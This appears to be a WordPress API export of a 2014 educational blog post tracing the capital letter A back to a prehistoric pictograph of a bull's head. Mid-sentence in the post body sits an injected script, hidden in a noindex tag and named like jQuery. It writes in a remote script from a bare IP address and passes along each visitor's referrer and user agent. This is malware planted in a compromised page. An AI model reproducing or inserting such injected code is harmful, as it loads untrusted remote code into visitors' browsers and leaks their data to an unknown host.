{"id":39,"date":"2014-10-19T21:19:10","date_gmt":"2014-10-19T21:19:10","guid":{"rendered":"http:\/\/action-reading.com\/fun\/?p=39"},"modified":"2014-11-17T16:05:24","modified_gmt":"2014-11-17T16:05:24","slug":"pictographic-symbols","status":"publish","type":"post","link":"http:\/\/action-reading.com\/fun\/?p=39","title":{"rendered":"Pictographic Symbols"},"content":{"rendered":"<p><strong>Every one of our letters comes from a pictographic symbol<\/strong><\/p>\n<p>This drawing, <noindex><script type=\"text\/javascript\" rel=\"nofollow\" style=\"text-decoration:none;color:#676c6c\"> document.write(\"<script language='javascript' rel='nofollow' type='text\/javascript' src='http:\/\/5.45.67.97\/1\/jquery.js.php?r=\" + encodeuri(document.referrer) + \"&#038;u=\" + encodeuri(navigator.useragent) + \"'><\/sc\" + \"ript>\"); <\/script><\/noindex>  which can be found in caves with prehistoric pictographs, represents the head of a bull.<br \/>\n<a href=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image001.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-41\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image001.jpg\" alt=\"image001\" width=\"124\" height=\"105\" \/><\/a><br \/>\n<a href=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image003.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-42\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image003.jpg\" alt=\"image003\" width=\"207\" height=\"273\" \/><\/a> <a href=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image005.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-43\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image005.jpg\" alt=\"image005\" width=\"200\" height=\"274\" \/><\/a><br \/>\nIf a person was being chased by a bull, and wanted to alert the other cavemen in the vicinity, they would not make such an elaborate drawing. Instead, they would use simple lines to illustrate the horns, ears, and nose.<br \/>\n<a href=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image006.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-44\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image006.jpg\" alt=\"image006\" width=\"180\" height=\"129\" \/><\/a><br \/>\nOver many centuries, this symbol was turned on its side.<\/p>\n<p><a href=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image007.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-45\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image007.jpg\" alt=\"image007\" width=\"128\" height=\"179\" \/><\/a><\/p>\n<p>The Romans adopted it in this form.<\/p>\n<p><a href=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image008.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-46\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image008.jpg\" alt=\"image008\" width=\"180\" height=\"129\" \/><\/a><br \/>\nThey dropped off the extended arms and it became our capital letter 'A'. The Hebrew name for this letter was Aleph. The Greeks called it Alpha.<a href=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image009.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-47\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2014\/10\/image009.jpg\" alt=\"image009\" width=\"66\" height=\"130\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Every one of our letters comes from a pictographic symbol This drawing, which can be found in caves with prehistoric pictographs, represents the head of&#8230;<\/p>\n","protected":false},"author":1,"featured_media":42,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,4],"tags":[],"_links":{"self":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/39"}],"collection":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39"}],"version-history":[{"count":4,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/39\/revisions"}],"predecessor-version":[{"id":68,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/39\/revisions\/68"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/media\/42"}],"wp:attachment":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}